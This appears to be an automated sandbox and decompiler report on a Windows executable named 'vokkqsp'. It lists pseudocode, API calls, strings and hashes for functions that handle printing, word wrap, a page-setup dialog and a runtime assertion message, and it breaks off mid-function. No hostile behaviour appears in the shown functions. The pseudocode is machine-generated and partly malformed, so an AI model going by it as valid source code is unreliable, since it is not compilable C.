Instruction ID: e3fe9dae7eaa156b4aaad332c35877667e839b784fbbcb562f65275754edd698
Opcode Fuzzy Hash: f5c3ec08a14f93fd17c7750127b6368c369c13261ccb34751d8d83959a91489b
Instruction Fuzzy Hash: 4EC08C7450090086CF298A548271BE63365F3927C2F8004AED8430B792C52E9D8AD608

Uniqueness

Uniqueness Score: -1.00%

Function 00401AA8 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 227
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00401AA8(void* __edi) {
				signed int _v8;
				void* _v12;
				int _v16;
				intOrPtr _v50;
				signed int _v52;
				intOrPtr _v54;
				short _v56;
				signed int _v58;
				signed int _v60;
				signed int _v64;
				struct HDC__* _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				struct tagPD _v84;
				long _v88;
				void* _v92;
				signed int _v96;
				char* _v100;
				signed int _v104;
				void* _v108;
				struct _DOCINFOW _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				char _v144;
				struct tagLOGFONTW _v236;
				char _v1236;
				intOrPtr _t91;
				intOrPtr _t94;
				int _t97;
				signed int _t107;
				int _t112;
				int _t115;
				int _t119;
				int _t122;
				int _t123;
				int _t127;
				void* _t129;
				void* _t130;
				signed int _t135;
				void* _t144;
				signed int _t146;
				signed int _t149;
				signed int _t154;
				void* _t156;
				void* _t161;
				struct tagPD _t163;
				int _t166;
				signed int _t174;

				_t156 = __edi;
				_t163 = 0x42;
				_v88 = 0;
				E00403D00(__edi,  &_v84, 0, _t163);
				_t91 =  *0x44cf04; // 0x0
				_v80 = _t91;
				_v76 =  *0x44e0ec;
				_v72 =  *0x44e0f0;
				_t94 =  *0x44cf00; // 0x0
				_v50 = _t94;
				_v84 = _t163;
				_v60 = 0;
				_v64 = 0x104;
				_v56 = 1;
				_v54 = 0xffff;
				_t97 = PrintDlgW( &_v84);
				if(_t97 != 0) {
					 *0x44e0ec = _v76;
					 *0x44e0f0 = _v72;
					SetMapMode(_v68, 1);
					_v128.cbSize = 0x14;
					_v128.lpszDocName = 0x44d598;
					_v128.lpszOutput = 0;
					_v128.lpszDatatype = 0;
					_v128.fwType = 0;
					if((_v64 & 0x00000020) == 0) {
						L3:
						_t26 = GetWindowTextLengthW( *0x44cf0c) + 1; // 0x1
						_t166 = _t26;
						_t144 = HeapAlloc(GetProcessHeap(), 0, _t166 + _t166);
						_v12 = _t144;
						if(_t144 != 0) {
							_v8 = GetWindowTextW( *0x44cf0c, _t144, _t166);
							_t107 = StartDocW(_v68,  &_v128);
							__eflags = _t107;
							if(_t107 <= 0) {
								L17:
								DeleteDC(_v68);
								return HeapFree(GetProcessHeap(), 0, _t144);
							}
							_push(_t156);
							_t112 = MulDiv( *0x44dc70, GetDeviceCaps(_v68, 0x5a), 0x9ec);
							_v140 = _t112 - GetDeviceCaps(_v68, 0x71);
							_t115 = MulDiv( *0x44dc74, GetDeviceCaps(_v68, 0x5a), 0x9ec);
							_v132 = GetDeviceCaps(_v68, 0x6f) - _t115;
							_t119 = MulDiv( *0x44dc78, GetDeviceCaps(_v68, 0x58), 0x9ec);
							_v144 = _t119 - GetDeviceCaps(_v68, 0x70);
							_t122 = MulDiv( *0x44dc7c, GetDeviceCaps(_v68, 0x58), 0x9ec);
							_t123 = GetDeviceCaps(_v68, 0x6e);
							_t146 = 0x17;
							_v136 = _t123 - _t122;
							memcpy( &_v236, 0x44cf20, _t146 << 2);
							_t127 = MulDiv(_v236.lfHeight, GetDeviceCaps(_v68, 0x5a), _v16);
							_v236.lfWeight = _v236.lfWeight - 0x64;
							_v236 = _t127;
							_t129 = CreateFontIndirectW( &_v236);
							_v16 = _t129;
							_t130 = SelectObject(_v68, _t129);
							_t144 = _v12;
							_t149 = 1;
							_v92 = _t130;
							_t161 = 1;
							__eflags = 1 - _v52;
							if(1 > _v52) {
								L16:
								EndDoc(_v68);
								SelectObject(_v68, _v92);
								DeleteObject(_v16);
								goto L17;
							}
							_t154 = _v88;
							_t135 = _t144 + _v8 * 2;
							_v8 = _t135;
							do {
								_t64 =  &_v96;
								 *_t64 = _v96 & 0x00000000;
								__eflags =  *_t64;
								_t174 = _t149;
								_v104 = _t135;
								_v108 = _t144;
								_v100 =  &_v1236;
								do {
									__eflags = _v64 & 0x00000002;
									if(__eflags == 0) {
										L12:
										_t154 = E00401814(_v68,  &_v144, __eflags, _t149, _t174,  &_v108);
										_t174 = _t174 + 1;
										__eflags = _t154;
										if(_t154 == 0) {
											goto L16;
										}
										goto L13;
									}
									__eflags = _t174 - (_v58 & 0x0000ffff);
									if(_t174 > (_v58 & 0x0000ffff)) {
										break;
									}
									__eflags = _t174 - (_v60 & 0x0000ffff);
									_t76 = _t174 - (_v60 & 0x0000ffff) >= 0;
									__eflags = _t76;
									_t149 = 0 | _t76;
									goto L12;
									L13:
									__eflags = _v108 - _v104;
									_t149 = 1;
								} while (_v108 < _v104);
								__eflags = _t154;
								if(_t154 == 0) {
									goto L16;
								}
								_t161 = _t161 + 1;
								__eflags = _t161 - (_v52 & 0x0000ffff);
								_t135 = _v8;
							} while (_t161 <= (_v52 & 0x0000ffff));
							goto L16;
						}
						return DeleteDC(_v68);
					}
					_t97 = E00401418(_v80);
					_v128.lpszOutput = _t97;
					if(_t97 != 0) {
						goto L3;
					}
				}
				return _t97;
			}

0x00401aa8
0x00401ab5
0x00401abe
0x00401ac1
0x00401ac6
0x00401ace
0x00401ad6
0x00401ade
0x00401ae1
0x00401ae6
0x00401aeb
0x00401af0
0x00401af7
0x00401aff
0x00401b03
0x00401b0a
0x00401b12
0x00401b1f
0x00401b27
0x00401b2c
0x00401b36
0x00401b3d
0x00401b44
0x00401b47
0x00401b4a
0x00401b4d
0x00401b62
0x00401b6e
0x00401b6e
0x00401b83
0x00401b85
0x00401b8a
0x00401ba8
0x00401bb2
0x00401bb8
0x00401bba
0x00401d50
0x00401d53
0x00000000
0x00401d63
0x00401bc0
0x00401be0
0x00401bf7
0x00401c06
0x00401c1d
0x00401c29
0x00401c40
0x00401c4f
0x00401c58
0x00401c5c
0x00401c72
0x00401c78
0x00401c87
0x00401c89
0x00401c90
0x00401c9d
0x00401ca7
0x00401caa
0x00401cb0
0x00401cb5
0x00401cb6
0x00401cb9
0x00401cbb
0x00401cbf
0x00401d31
0x00401d34
0x00401d40
0x00401d49
0x00000000
0x00401d4f
0x00401cc4
0x00401cc7
0x00401cca
0x00401ccd
0x00401ccd
0x00401ccd
0x00401ccd
0x00401cd1
0x00401cd3
0x00401cdc
0x00401cdf
0x00401ce2
0x00401ce2
0x00401ce6
0x00401cfb
0x00401d0f
0x00401d11
0x00401d12
0x00401d14
0x00000000
0x00000000
0x00000000
0x00401d14
0x00401cec
0x00401cee
0x00000000
0x00000000
0x00401cf6
0x00401cf8
0x00401cf8
0x00401cf8
0x00000000
0x00401d16
0x00401d19
0x00401d1e
0x00401d1e
0x00401d21
0x00401d23
0x00000000
0x00000000
0x00401d29
0x00401d2a
0x00401d2c
0x00401d2c
0x00000000
0x00401ccd
0x00000000
0x00401b8f
0x00401b52
0x00401b57
0x00401b5c
0x00000000
0x00000000
0x00401b5c
0x00401d6e

APIs

PrintDlgW.COMDLG32(?), ref: 00401B0A
SetMapMode.GDI32(?,00000001), ref: 00401B2C
GetWindowTextLengthW.USER32 ref: 00401B68
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401B76
HeapAlloc.KERNEL32(00000000), ref: 00401B7D
DeleteDC.GDI32(?), ref: 00401B8F

Part of subcall function 00401418: GetSaveFileNameW.COMDLG32(?), ref: 0040145C

GetWindowTextW.USER32 ref: 00401BA2
StartDocW.GDI32(?,00000014), ref: 00401BB2
GetDeviceCaps.GDI32(?,0000005A), ref: 00401BD1
MulDiv.KERNEL32(00000000), ref: 00401BE0
GetDeviceCaps.GDI32(?,00000071), ref: 00401BE9
GetDeviceCaps.GDI32(?,0000005A), ref: 00401BFD
MulDiv.KERNEL32(00000000), ref: 00401C06
GetDeviceCaps.GDI32(?,0000006F), ref: 00401C0F
GetDeviceCaps.GDI32(?,00000058), ref: 00401C20
MulDiv.KERNEL32(00000000), ref: 00401C29
GetDeviceCaps.GDI32(?,00000070), ref: 00401C32
GetDeviceCaps.GDI32(?,00000058), ref: 00401C46
MulDiv.KERNEL32(00000000), ref: 00401C4F
GetDeviceCaps.GDI32(?,0000006E), ref: 00401C58
GetDeviceCaps.GDI32(?,0000005A), ref: 00401C7A
MulDiv.KERNEL32(?,00000000), ref: 00401C87
CreateFontIndirectW.GDI32(?), ref: 00401C9D
SelectObject.GDI32(?,00000000), ref: 00401CAA
EndDoc.GDI32(?), ref: 00401D34
SelectObject.GDI32(?,?), ref: 00401D40
DeleteObject.GDI32(?), ref: 00401D49
DeleteDC.GDI32(?), ref: 00401D53
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401D5C
HeapFree.KERNEL32(00000000), ref: 00401D63

Strings

d, xrefs: 00401C89
, xrefs: 00401B32

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: CapsDevice$Heap$DeleteObject$ProcessSelectTextWindow$AllocCreateFileFontFreeIndirectLengthModeNamePrintSaveStart
String ID: $d
API String ID: 1302216391-2084297493
Opcode ID: 5815a8abcf0af1fdb1e238782a0e9c64eb422b189945a0ec10b58ff1e3161541
Instruction ID: 298ab7f0fb6f79147674bac927ebacb34e7cf82f1521bd2a600f7c6c9329788d
Opcode Fuzzy Hash: 5815a8abcf0af1fdb1e238782a0e9c64eb422b189945a0ec10b58ff1e3161541
Instruction Fuzzy Hash: 89912675D00269EFDB209FA5EC88A9EBBB9FF05300F00402AEA05B72A0DB755D55CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00401F06 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 100
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00401F06() {
				struct tagRECT _v20;
				void* _t10;
				int _t12;
				struct HWND__* _t18;
				signed int _t26;
				long _t30;
				void* _t31;
				int _t38;
				signed int _t42;

				_t1 = GetWindowTextLengthW( *0x44cf0c) + 1; // 0x1
				_t38 = _t1;
				_t10 = HeapAlloc(GetProcessHeap(), 0, _t38 + _t38);
				_t31 = _t10;
				if(_t31 != 0) {
					GetWindowTextW( *0x44cf0c, _t31, _t38);
					_t12 = SendMessageW( *0x44cf0c, 0xb8, 0, 0);
					DestroyWindow( *0x44cf0c);
					GetClientRect( *0x44cf04,  &_v20);
					_t17 =  !=  ? 0x50b000c4 : 0x50a00044;
					_t18 = CreateWindowExW(0x200, L"edit", 0,  !=  ? 0x50b000c4 : 0x50a00044, 0, 0, _v20.right, _v20.bottom,  *0x44cf04, 0,  *0x44cf00, 0);
					 *0x44cf0c = _t18;
					SendMessageW(_t18, 0x30,  *0x44cf10, 0);
					SetWindowTextW( *0x44cf0c, _t31);
					SendMessageW( *0x44cf0c, 0xb9, _t12, 0);
					SetFocus( *0x44cf0c);
					HeapFree(GetProcessHeap(), 0, _t31);
					_t42 =  *0x44cf7c; // 0x0
					_t26 = 0 | _t42 == 0x00000000;
					 *0x44cf7c = _t26;
					asm("sbb eax, eax");
					_t30 = CheckMenuItem(GetMenu( *0x44cf04), 0x119,  ~_t26 & 0x00000008);
					__imp__#410( *0x44cf0c, 0x4024c7, 0, 0);
					return _t30;
				}
				return _t10;
			}

0x00401f1d
0x00401f1d
0x00401f2c
0x00401f32
0x00401f36
0x00401f44
0x00401f5d
0x00401f67
0x00401f77
0x00401f8e
0x00401fb5
0x00401fc3
0x00401fcb
0x00401fd4
0x00401fe8
0x00401ff0
0x00402001
0x00402009
0x0040200f
0x00402012
0x00402019
0x00402031
0x00402044
0x00000000
0x00402044
0x00402050

APIs

GetWindowTextLengthW.USER32 ref: 00401F15
GetProcessHeap.KERNEL32(00000000), ref: 00401F25
HeapAlloc.KERNEL32(00000000), ref: 00401F2C
GetWindowTextW.USER32 ref: 00401F44
SendMessageW.USER32(000000B8,00000000,00000000), ref: 00401F5D
DestroyWindow.USER32 ref: 00401F67
GetClientRect.USER32(?), ref: 00401F77
CreateWindowExW.USER32 ref: 00401FB5
SendMessageW.USER32(00000000,00000030,00000000), ref: 00401FCB
SetWindowTextW.USER32(00000000), ref: 00401FD4
SendMessageW.USER32(000000B9,00000000,00000000), ref: 00401FE8
SetFocus.USER32 ref: 00401FF0
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401FFA
HeapFree.KERNEL32(00000000), ref: 00402001
GetMenu.USER32(00000119), ref: 0040202A
CheckMenuItem.USER32 ref: 00402031
#410.COMCTL32(004024C7,00000000,00000000), ref: 00402044

Strings

edit, xrefs: 00401FAB

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Window$Heap$MessageSendText$MenuProcess$#410AllocCheckClientCreateDestroyFocusFreeItemLengthRect
String ID: edit
API String ID: 2317382731-2167791130
Opcode ID: 3d108fc552a5024215aae559fa914cdc587b4e8acdf8b6445c050ab18c23d851
Instruction ID: 57779657dcc640067b8d70a19ba0a3090d1ec050db6456008ca0fb8dd335274f
Opcode Fuzzy Hash: 3d108fc552a5024215aae559fa914cdc587b4e8acdf8b6445c050ab18c23d851
Instruction Fuzzy Hash: 75310A79152204BFEB515FA1EC8DE6A7F6AFB4A701B144134FB01910F0E7795C24DB28

Uniqueness

Uniqueness Score: -1.00%

Function 004022AA Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 132
windowCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E004022AA(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t21;
				void* _t39;
				signed int _t48;
				void* _t53;
				signed int _t58;
				signed int _t59;
				signed int _t60;
				signed int _t61;
				struct HWND__* _t66;
				struct HWND__* _t67;

				_t21 = _a8 - 0x110;
				if(_t21 == 0) {
					_t66 = _a4;
					SetDlgItemTextW(_t66, 0x141, 0x44dc80);
					SetDlgItemTextW(_t66, 0x143, 0x44de88);
					_push(0);
					_t58 = 0x64;
					asm("cdq");
					SetDlgItemInt(_t66, 0x14d,  *0x44dc70 / _t58, ??);
					_push(0);
					_t59 = 0x64;
					asm("cdq");
					SetDlgItemInt(_t66, 0x150,  *0x44dc74 / _t59, ??);
					_push(0);
					_t60 = 0x64;
					asm("cdq");
					SetDlgItemInt(_t66, 0x147,  *0x44dc78 / _t60, ??);
					_push(0);
					_t61 = 0x64;
					asm("cdq");
					SetDlgItemInt(_t66, 0x14a,  *0x44dc7c / _t61, ??);
					L11:
					return 0;
				}
				if(_t21 != 1) {
					goto L11;
				}
				_t39 = _a12 - 1;
				if(_t39 == 0) {
					_t67 = _a4;
					GetDlgItemTextW(_t67, 0x141, 0x44dc80, 0);
					GetDlgItemTextW(_t67, 0x143, 0x44de88, 0);
					 *0x44dc70 = GetDlgItemInt(_t67, 0x14d, 0, 0) * 0x64;
					 *0x44dc74 = GetDlgItemInt(_t67, 0x150, 0, 0) * 0x64;
					 *0x44dc78 = GetDlgItemInt(_t67, 0x147, 0, 0) * 0x64;
					_t48 = GetDlgItemInt(_t67, 0x14a, 0, 0);
					_push(1);
					_push(_t67);
					 *0x44dc7c = _t48 * 0x64;
					L8:
					EndDialog();
					L9:
					return 1;
				}
				_t53 = _t39 - 1;
				if(_t53 == 0) {
					_push(2);
					_push(_a4);
					goto L8;
				}
				if(_t53 != 7) {
					goto L11;
				}
				MessageBoxW( *0x44cf04, L"Sorry, no help available", L"Help", 0x30);
				goto L9;
			}

0x004022b3
0x004022b8
0x00402387
0x0040239b
0x004023a8
0x004023b1
0x004023b4
0x004023b5
0x004023c5
0x004023cc
0x004023cf
0x004023d0
0x004023da
0x004023e1
0x004023e4
0x004023e5
0x004023ef
0x004023f6
0x004023f9
0x004023fa
0x00402404
0x00402406
0x00000000
0x00402406
0x004022c1
0x00000000
0x00000000
0x004022ca
0x004022cd
0x00402301
0x00402318
0x00402326
0x00402343
0x00402355
0x00402367
0x0040236c
0x00402371
0x00402373
0x00402374
0x00402379
0x00402379
0x0040237f
0x00000000
0x00402381
0x004022cf
0x004022d2
0x004022fa
0x004022fc
0x00000000
0x004022fc
0x004022d7
0x00000000
0x00000000
0x004022ef
0x00000000

APIs

MessageBoxW.USER32(Sorry, no help available,Help,00000030), ref: 004022EF
GetDlgItemTextW.USER32(?,00000141,0044DC80,00000000), ref: 00402318
GetDlgItemTextW.USER32(?,00000143,0044DE88,00000000), ref: 00402326
GetDlgItemInt.USER32(?,0000014D,00000000,00000000), ref: 00402336
GetDlgItemInt.USER32(?,00000150,00000000,00000000), ref: 00402348
GetDlgItemInt.USER32(?,00000147,00000000,00000000), ref: 0040235A
GetDlgItemInt.USER32(?,0000014A,00000000,00000000), ref: 0040236C
EndDialog.USER32(?,00000001), ref: 00402379
SetDlgItemTextW.USER32 ref: 0040239B
SetDlgItemTextW.USER32 ref: 004023A8
SetDlgItemInt.USER32(?,0000014D,?,00000000), ref: 004023C5
SetDlgItemInt.USER32(?,00000150,?,00000000), ref: 004023DA
SetDlgItemInt.USER32(?,00000147,?,00000000), ref: 004023EF
SetDlgItemInt.USER32(?,0000014A,?,00000000), ref: 00402404

Strings

Help, xrefs: 004022DF
Sorry, no help available, xrefs: 004022E4

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Item$Text$DialogMessage
String ID: Help$Sorry, no help available
API String ID: 538086343-856071037
Opcode ID: 56d51fb1a839754b542b1ba68e94aaf728e389295ce8ae37ce0808c000f2fc2e
Instruction ID: 75e1db2b5784b1530bfebf3e4010b06c5cc7c9ec011124ef816db1d6f016c6e7
Opcode Fuzzy Hash: 56d51fb1a839754b542b1ba68e94aaf728e389295ce8ae37ce0808c000f2fc2e
Instruction Fuzzy Hash: 223194B1B803197AF6004B759DCAE7B2AACE75AB54F10003BF604BA1E0C6F89D01D668

Uniqueness

Uniqueness Score: -1.00%

Function 0040C039 Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 402
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040C039(void* __ebx, WCHAR* __ecx, void* __edi, void* __esi, char _a4, char _a8, intOrPtr* _a12, signed int _a16, intOrPtr _a20, char* _a24) {
				char _v0;
				char _v4;
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v532;
				signed int _v536;
				signed int _v540;
				WCHAR* _v544;
				signed int _v548;
				intOrPtr* _v552;
				WCHAR* _v556;
				intOrPtr _v588;
				intOrPtr* _v592;
				intOrPtr* _v596;
				void* _v600;
				intOrPtr* _v604;
				intOrPtr* _v608;
				char _v612;
				void* __ebp;
				signed int _t99;
				void* _t103;
				char* _t108;
				void* _t120;
				char* _t122;
				void* _t140;
				void* _t142;
				void* _t144;
				void* _t145;
				signed int _t149;
				struct HINSTANCE__* _t151;
				char _t153;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t160;
				void* _t161;
				void* _t162;
				intOrPtr _t163;
				intOrPtr _t164;
				void* _t168;
				void* _t169;
				void* _t170;
				intOrPtr _t171;
				intOrPtr _t172;
				void* _t174;
				void* _t175;
				void* _t176;
				void* _t177;
				void* _t178;
				void* _t183;
				void* _t184;
				signed int _t185;
				WCHAR* _t187;
				char* _t188;
				char* _t189;
				char* _t192;
				char* _t193;
				void* _t196;
				void* _t197;
				char* _t199;
				char* _t200;
				void* _t202;
				void* _t204;
				void* _t205;
				signed int _t207;
				void* _t208;
				void* _t209;
				void* _t211;
				char* _t213;
				signed int _t217;
				WCHAR* _t220;
				void* _t223;
				char* _t226;
				signed int _t228;
				intOrPtr* _t230;
				intOrPtr* _t232;
				intOrPtr* _t235;
				void* _t239;
				void* _t243;
				intOrPtr* _t244;
				void* _t246;
				signed int _t247;
				char _t249;
				signed short* _t252;
				intOrPtr* _t254;
				signed int _t256;
				void* _t257;
				void* _t258;
				void* _t260;
				void* _t261;
				void* _t262;
				void* _t263;
				void* _t266;

				_t220 = __ecx;
				_t99 =  *0x44b018; // 0x1989d38f
				_v8 = _t99 ^ _t256;
				_t213 = _a24;
				_t254 = _a4;
				_t249 = _a8;
				_v552 = _a12;
				_v536 = _a16;
				_t103 = E00422A82(_t254, _t249, L"Assertion failed!");
				_v540 = _v540 & 0x00000000;
				_t261 = _t260 + 0xc;
				if(_t103 != 0) {
					L64:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0041F197();
					asm("int3");
					_push(_t256);
					_t257 = _t261;
					_push(_t220);
					_push(_t220);
					_t223 = E0041519A( &_v600, E0041F307(2));
					_t108 = E0040B665(_t223);
					__eflags = _t108;
					if(_t108 == 0) {
						_push(0);
						_push(4);
						_t142 = E0041F307(2);
						_t223 = 0;
						_push(_t142);
						E004233D1(_t242);
						_t261 = _t261 + 0x10;
					}
					_push(0);
					_v12 = E0040C8FE();
					_v16 = E0041F307(2);
					_push( &_a8);
					_push( &_a4);
					_push( &_v0);
					L71();
					E00421D48(_t223, _t242, E0041F307(2));
					_t262 = _t261 + 0x24;
					E00410889(_t213, _t223, _t242, _t249, _t254,  &_v16,  &_v12);
					asm("int3");
					_push(_t257);
					_t258 = _t262;
					_push(_t223);
					_push(_t223);
					E0040C84F(_t213, _t249, _t254, _v596, _v592, _v588);
					_t120 = E0041F307(2);
					_t263 = _t262 + 0x10;
					_t225 = E0041519A( &_v612, _t120);
					_t122 = E0040B665(_t121);
					__eflags = _t122;
					if(_t122 == 0) {
						_push(0);
						_push(4);
						_t140 = E0041F307(2);
						_t225 = 0;
						_push(_t140);
						E004233D1(_t242);
						_t263 = _t263 + 0x10;
					}
					_push(0);
					_v16 = E0040C904();
					_v20 = E0041F307(2);
					E0040C64D( &_v20,  &_v16,  &_v4,  &_v0,  &_a4);
					E00421D48(_t225, _t242, E0041F307(2));
					E00410889(_t213, _t225, _t242, _t249, _t254);
					asm("int3");
					_push(_t258);
					_push( *_v592);
					_push( *_v596);
					return E0040CAC5( *_v608,  *_v604,  *_v600);
				} else {
					_push(L"\n\n");
					_push(_t249);
					_t144 = E00422A13(_t254);
					_t261 = _t261 + 0xc;
					if(_t144 != 0) {
						goto L64;
					} else {
						_push(L"Program: ");
						_push(_t249);
						_t145 = E00422A13(_t254);
						_t261 = _t261 + 0xc;
						if(_t145 != 0) {
							goto L64;
						} else {
							E00403D00(_t249,  &_v532, _t145, 0x20a);
							_t266 = _t261 + 0xc;
							_v548 = 0;
							_t149 =  &_v548;
							__imp__GetModuleHandleExW(6, _t213, _t149);
							_t220 =  &_v532;
							_t213 = 0x105;
							asm("sbb eax, eax");
							_t151 =  ~_t149 & _v548;
							_v548 = _t151;
							if(GetModuleFileNameW(_t151, _t220, 0x105) != 0) {
								L5:
								_t213 =  &_v532;
								_t226 = _t213;
								_t242 =  &(_t226[2]);
								do {
									_t153 =  *_t226;
									_t226 =  &(_t226[2]);
								} while (_t153 != _v540);
								_t220 = _t226 - _t242 >> 1;
								if( &(_t220[5]) <= 0x40) {
									L9:
									_push(_t213);
									_push(_t249);
									_t155 = E00422A13(_t254);
									_t261 = _t266 + 0xc;
									if(_t155 != 0) {
										goto L64;
									} else {
										_push("\n");
										_push(_t249);
										_t156 = E00422A13(_t254);
										_t261 = _t261 + 0xc;
										if(_t156 != 0) {
											goto L64;
										} else {
											_push(L"File: ");
											_push(_t249);
											_t157 = E00422A13(_t254);
											_t261 = _t261 + 0xc;
											if(_t157 != 0) {
												goto L64;
											} else {
												_t242 = _v536;
												_t228 = _t242;
												_t213 = _t228 + 2;
												do {
													_t158 =  *_t228;
													_t228 = _t228 + 2;
												} while (_t158 != _v540);
												_t220 = _t228 - _t213 >> 1;
												if( &(_t220[4]) <= 0x40) {
													_push(_t242);
													goto L33;
												} else {
													_t217 = _t242;
													_t239 = _t217 + 2;
													do {
														_t184 =  *_t217;
														_t217 = _t217 + 2;
													} while (_t184 != _v540);
													_v544 = 0x5c;
													_t213 = _t217 - _t239 >> 1;
													_t220 = 1;
													_t185 =  *(_t242 + _t213 * 2 - 2) & 0x0000ffff;
													if(_t185 != _v544) {
														_v556 = _t185;
														_t252 = _t242 - 2 + _t213 * 2;
														_t247 = _t185;
														while(_t247 != 0x2f && _t220 < _t213) {
															_t252 = _t252 - 2;
															_t220 =  &(_t220[0]);
															_t207 =  *_t252 & 0x0000ffff;
															_t247 = _t207;
															if(_t207 != _v544) {
																continue;
															}
															break;
														}
														_t249 = _a8;
														_t242 = _v536;
													}
													_t187 = _t213 - _t220;
													_v544 = _t187;
													if(_t187 <= 0x26) {
														if(__eflags >= 0) {
															goto L56;
														} else {
															_t197 = 0x35;
															_t220 = _t220 >> 1;
															_v556 = _t220;
															_push(_t197 - _t220);
															_t199 = E00422BD3(_t220, _t254, _t249, _t242);
															_t261 = _t261 + 0x10;
															__eflags = _t199;
															if(_t199 != 0) {
																goto L64;
															} else {
																_push(L"...");
																_push(_t249);
																_t200 = E00422A13(_t254);
																_t261 = _t261 + 0xc;
																__eflags = _t200;
																if(_t200 != 0) {
																	goto L64;
																} else {
																	_t213 = _t213 - _v556;
																	__eflags = _t213;
																	_t196 = _v536 + _t213 * 2;
																	goto L32;
																}
															}
														}
													} else {
														if(_t220 >= 0x12) {
															L56:
															_push(0x23);
															_t188 = E00422BD3(_t220, _t254, _t249, _t242);
															_t261 = _t261 + 0x10;
															__eflags = _t188;
															if(_t188 != 0) {
																goto L64;
															} else {
																_push(L"...");
																_push(_t249);
																_t189 = E00422A13(_t254);
																_t261 = _t261 + 0xc;
																__eflags = _t189;
																if(_t189 != 0) {
																	goto L64;
																} else {
																	_t220 = _v544;
																	_push(8);
																	_t192 = E00422BD3(_t220, _t254, _t249, _v536 + _t220 * 2);
																	_t261 = _t261 + 0x10;
																	__eflags = _t192;
																	if(_t192 != 0) {
																		goto L64;
																	} else {
																		_push(L"...");
																		_push(_t249);
																		_t193 = E00422A13(_t254);
																		_t261 = _t261 + 0xc;
																		__eflags = _t193;
																		if(_t193 != 0) {
																			goto L64;
																		} else {
																			_t196 = _v536 + _t213 * 2 + 0xfffffff2;
																			goto L32;
																		}
																	}
																}
															}
														} else {
															_t202 = 0x35;
															_push(_t202 - _t220);
															_t204 = E00422BD3(_t220, _t254, _t249, _t242);
															_t261 = _t261 + 0x10;
															if(_t204 != 0) {
																goto L64;
															} else {
																_push(L"...");
																_push(_t249);
																_t205 = E00422A13(_t254);
																_t261 = _t261 + 0xc;
																if(_t205 != 0) {
																	goto L64;
																} else {
																	_t220 = _v544;
																	_t196 = _v536 + _t220 * 2;
																	L32:
																	_push(_t196);
																	L33:
																	_push(_t249);
																	_t160 = E00422A13(_t254);
																	_t261 = _t261 + 0xc;
																	if(_t160 != 0) {
																		goto L64;
																	} else {
																		_push("\n");
																		_push(_t249);
																		_t161 = E00422A13(_t254);
																		_t261 = _t261 + 0xc;
																		if(_t161 != 0) {
																			goto L64;
																		} else {
																			_push(L"Line: ");
																			_push(_t249);
																			_t162 = E00422A13(_t254);
																			_t261 = _t261 + 0xc;
																			if(_t162 != 0) {
																				goto L64;
																			} else {
																				_t230 = _t254;
																				_t243 = _t230 + 2;
																				do {
																					_t163 =  *_t230;
																					_t230 = _t230 + 2;
																				} while (_t163 != 0);
																				_t244 = _t254;
																				_t220 = _t230 - _t243 >> 1;
																				_t213 = _t244 + 2;
																				do {
																					_t164 =  *_t244;
																					_t244 = _t244 + 2;
																				} while (_t164 != _v540);
																				_t242 = _t244 - _t213 >> 1;
																				_t168 = E00422790(_t220, _a20, _t254 + (_t244 - _t213 >> 1) * 2, _t249 - _t220, 0xa);
																				_t261 = _t261 + 0x10;
																				if(_t168 != 0) {
																					goto L64;
																				} else {
																					_push(L"\n\n");
																					_push(_t249);
																					_t169 = E00422A13(_t254);
																					_t261 = _t261 + 0xc;
																					if(_t169 != 0) {
																						goto L64;
																					} else {
																						_push(L"Expression: ");
																						_push(_t249);
																						_t170 = E00422A13(_t254);
																						_t261 = _t261 + 0xc;
																						if(_t170 != 0) {
																							goto L64;
																						} else {
																							_t232 = _t254;
																							_t246 = _t232 + 2;
																							do {
